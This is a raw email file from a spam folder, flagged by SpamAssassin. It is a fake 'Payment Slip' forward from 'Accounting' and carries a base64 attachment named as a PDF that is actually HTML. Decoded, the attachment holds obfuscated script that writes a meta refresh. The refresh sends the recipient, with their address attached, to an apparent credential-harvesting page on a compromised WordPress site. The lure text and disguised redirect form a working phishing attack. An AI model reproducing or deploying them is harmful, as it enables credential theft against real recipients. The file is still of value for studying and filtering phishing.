/home/awneajlw/mail/.spam/new/1745235121.M218177P840035.secure.dnsparkinghub.com,S=7733,W=7877
Return-Path: <lisa08315@gmail.com>
Delivered-To: awneajlw+spam@secure.dnsparkinghub.com
Received: from secure.dnsparkinghub.com
	by secure.dnsparkinghub.com with LMTP
	id 5qWeDLEsBmhj0QwA669xzA
	(envelope-from <lisa08315@gmail.com>)
	for <awneajlw+spam@secure.dnsparkinghub.com>; Mon, 21 Apr 2025 13:32:01 +0200
Return-path: <lisa08315@gmail.com>
Envelope-to: info@amanhouse.com.pk
Delivery-date: Mon, 21 Apr 2025 13:32:01 +0200
Received: from [185.208.158.20] (port=61593 helo=gmail.com)
	by secure.dnsparkinghub.com with esmtp (Exim 4.98.1)
	(envelope-from <lisa08315@gmail.com>)
	id 1u6pNX-00000003WOY-1ryT
	for info@amanhouse.com.pk;
	Mon, 21 Apr 2025 13:32:01 +0200
From: Accounting <lisa08315@gmail.com>
To: info@amanhouse.com.pk
Date: 21 Apr 2025 04:31:18 -0700
Message-ID: <20250421043118.DA3996AC426BF81C@gmail.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0012_3C19881C.1585FA36"
X-Spam-Status: Yes, score=25.0
X-Spam-Score: 250
X-Spam-Bar: +++++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "secure.dnsparkinghub.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  New Page 1 How are you 
 Content analysis details:   (25.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                             [185.208.158.20 listed in psbl.surriel.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                         [185.208.158.20 listed in sa-trusted.bondedsender.org]
  1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
              [Blocked - see <https://www.spamcop.net/bl.shtml?185.208.158.20>]
  0.0 DKIM_ADSP_CUSTOM_MED   No valid author signature, adsp_override is
                             CUSTOM_MED
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  1.5 SPF_HELO_SOFTFAIL      SPF: HELO does not match SPF record (softfail)
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.2 KAM_DMARC_NONE         DKIM has Failed or SPF has failed on the message and
                             the domain has no DMARC policy
  1.0 FORGED_GMAIL_RCVD      'From' gmail.com does not match 'Received' headers
  0.0 FREEMAIL_FROM          Sender email is commonly abused enduser mail provider
                             [lisa08315(at)gmail.com]
  0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
                             digit
                             [lisa08315(at)gmail.com]
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_EXTRA_CLOSE       BODY: HTML contains far too many close tags
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.8 GB_FREEMAIL_NUM        Freemail spammy address
  3.5 PHISH_ATTACH           Attachment filename suspicious, probable phishing
  0.0 T_HTML_ATTACH          HTML attachment to bypass scanning?
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  2.0 GB_GMAIL_NUM           Spam from random Gmail address
  3.0 KAM_BADPDF3            Likely Fake PDF
  1.2 NML_ADSP_CUSTOM_MED    ADSP custom_med hit, and not from a mailing list
  4.0 GB_BADJS               Bad html attachment
  0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.208.158.20 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                            [185.208.158.20 listed in bl.score.senderscore.com]
X-Spam-Flag: YES
Subject:  ***SPAM***  Fwd: Payment Slip

This is a multi-part message in MIME format.

------=_NextPart_000_0012_3C19881C.1585FA36
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">

<HTML><HEAD><TITLE>New Page 1</TITLE>
<META content=3Den-us http-equiv=3DContent-Language>
<META content=3D"text/html; charset=3Dwindows-1252" http-equiv=3DContent-Ty=
pe>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<body>
<DIV class=3DrcmBody style=3D"MARGIN: 0.5em">
<DIV>
<P><FONT size=3D4>How are you<BR>&nbsp;</FONT></P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)"><FONT size=3D4>Find attached&nbsp;Payment Slip. as =
requested=20
<P>kindly check with your bank for confirmation.&nbsp;</FONT></P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)">&nbsp;=20
<P><FONT size=3D4>Thanks<BR>Accounting<BR>lisa</FONT></P>
<P>&nbsp;</P></DIV>
<P><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT si=
ze=3D4>-----Original Message-----<BR>From: "Account Payables/Credit Control=
 Unit"<BR>Date: 4/21/2025 4:31:18 a.m.<BR>To: "Accounting"&lt;</FONT></SPAN=
><FONT size=3D4><A style=3D"COLOR: rgb(0,0,238)">lisa08315@gmail.com</A></F=
ONT><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT s=
ize=3D4>&gt;<BR>Subject: Fwd: </FONT></SPAN><FONT size=3D4>Payment Slip</FO=
NT><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif">
<FONT size=3D4> </FONT></SPAN></P>
<P>&nbsp;</P>
<P><FONT size=3D4>Hello, lisa</FONT></P>
<P><FONT size=3D4>Kindly forward&nbsp; the attached Payment Slip &nbsp;to <=
/FONT><A style=3D"COLOR: rgb(0,0,238)"><FONT size=3D4>info@amanhouse.com.pk=
</FONT></A></P></DIV>
<P><FONT size=3D4>Best Regards,<BR>Account Payables/Credit Control Unit </F=
ONT></P></BODY></HTML>
------=_NextPart_000_0012_3C19881C.1585FA36
Content-Type: text/html; name="Fwd: Payment Slip.pdf.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Fwd: Payment Slip.pdf.html"

PHNjcmlwdD4NCjwhLS1rb2xwb2l1am1uYnZ0NTZ0ZnJkZWRyZmRlcnR5YmpoYnZnZmNkeHhk
ejJ3d3EycXczMnEyc3dkeHhxMXEyMzRzeGNmZ2h1ZzY2dGd5aHVpanV5dHJmZ3loamtrcGxv
a2pubW5idmd5Z3R5aC0tPg0KZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyUyMURPQ1RZ
UEUlMjBodG1sJTIwUFVCTElDJTIwJTIyLS8vVzNDLy9EVEQlMjBYSFRNTCUyMDEuMCUyMFRy
YW5zaXRpb25hbC8vRU4lMjIlMEElMEElMjIlMjIlM0UlMEElM0NodG1sJTIweG1sbnMlM0Ql
MjIlMjIlM0UlMEElM0NoZWFkJTNFJTBBJTNDbWV0YSUyMGh0dHAtZXF1aXYlM0QlMjJDb250
ZW50LVR5cGUlMjIlMjBjb250ZW50JTNEJTIydGV4dC9odG1sJTNCJTIwY2hhcnNldCUzRGlz
by04ODU5LTElMjIlMjAvJTNFJTBBJTNDbWV0YSUyMGh0dHAtZXF1aXYlM0QlMjJSRUZSRVNI
JTIyY29udGVudCUzRCUyMjElM0J1cmwlM0RodHRwcyUzQS8vaGF2YWplbC5jb20vd3AtaW5j
bHVkZXMvU2ltcGxlUGllL3NyYy9zbS5odG1sJTNGZW1haWwlM0QnKSk7DQo8L3NjcmlwdD5p
bmZvQGFtYW5ob3VzZS5jb20ucGsiPg0KPHRpdGxlPlVudGl0bGVkIERvY3VtZW50PC90aXRs
ZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQoNCjwvYm9keT4NCjwvaHRtbD4=

------=_NextPart_000_0012_3C19881C.1585FA36--